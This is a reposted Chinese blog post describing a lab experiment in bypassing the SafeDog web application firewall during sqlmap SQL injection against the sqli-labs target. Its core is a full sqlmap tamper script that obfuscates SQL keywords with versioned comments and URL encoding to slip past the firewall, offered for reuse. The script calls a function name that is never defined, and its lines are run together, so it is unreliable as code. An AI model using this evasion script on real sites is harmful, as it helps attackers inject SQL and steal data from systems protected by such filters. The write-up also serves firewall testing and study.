简单的安全狗绕过实验

admin 2022年9月21日23:59:26安全文章评论11 views1925字阅读6分25秒阅读模式

# 0x00 安全狗安装


在服务器上安装安全狗软件,关联到Apache路径,如下图:


简单的安全狗绕过实验


apache需要注册为服务可执行命令完成此操作。


httpd.exe -k install -n apache


简单的安全狗绕过实验


之后安装相应插件,并且开启服务。


简单的安全狗绕过实验



安装完成后重启服务


简单的安全狗绕过实验


输出payload,观察安全狗拦截效果,成功拦截:


简单的安全狗绕过实验


# 0x01 靶场搭建


过程中发现phpstudy不解析php,如图sqli-labs靶场未解析。


简单的安全狗绕过实验


排查发现站点处于过期状态,通过如下操作启用站点。


简单的安全狗绕过实验


最后测试仍未起作用,在该页面删除原有站点并新增站点,发现此时php文件可被解析。


简单的安全狗绕过实验


测试发现此刻安全狗可拦截有问题的请求。


# 0x02 bypass测试


此时利用工具sqlmap注入漏洞,payload被拦截


简单的安全狗绕过实验


使用tamper,其代码如下


import reimport stringimport osimport random
from lib.core.enums import DBMSfrom lib.core.common import singleTimeWarnMessage
def dependencies(): singleTimeWarnMessage("MySQLByPassForSafeDog / '%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs): payload=payload.replace('AND','/*%2144575%26%26*/') payload=payload.replace('ORD','/*%2144575ORD*/') payload=payload.replace('OR ','/*%2144575OR*/ ') payload=payload.replace('UNION SELECT','UNION/*/%21*%21**/SELECT') payload=payload.replace('ORDER BY',str(caonimabi())+'ORDER/*////*/BY') payload=payload.replace('information_schema.tables','/*!%23%0ainformation_schema.tables*/') payload=payload.replace('@','/*%2144575%40*/') payload=payload.replace('SELECT','/*%2144575%53%45%4c%45%43%54*/') payload=payload.replace('table_name',str(caonimabi())+'table_name') payload=payload.replace('MID',str(caonimabi())+'MID') payload=payload.replace('CAST',str(caonimabi())+'CAST') payload=payload.replace('USER()','%23a%0aUSER/*!*/()') payload=payload.replace('CURRENT_%23a%0aUSER/*!*/()',str(caonimabi())+'CURRENT_USER()') payload=payload.replace('SESSION_%23a%0aUSER/*!*/()','%23a%0aSESSION_USER()') payload=payload.replace('()','/*%2144575%28%29*/') payload=payload.replace(' (','/**/(') payload=payload.replace(',(',',/**/(') payload=payload.replace('),',')/**/,') payload=payload.replace(') ',')/**/') payload=payload.replace('/','%2F') payload=payload.replace('*','%2A') return payload
def cnmb(): temp = ''.join(random.sample(string.ascii_letters + string.digits, random.randint(3,9))) return '/*'+temp+'*/'


简单的安全狗绕过实验


未使用tamper,无法注入得到当前数据库


简单的安全狗绕过实验


使用tamper后获得数据库


简单的安全狗绕过实验

原文始发于微信公众号(here404):简单的安全狗绕过实验

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月21日23:59:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  简单的安全狗绕过实验 http://cn-sec.com/archives/1309025.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: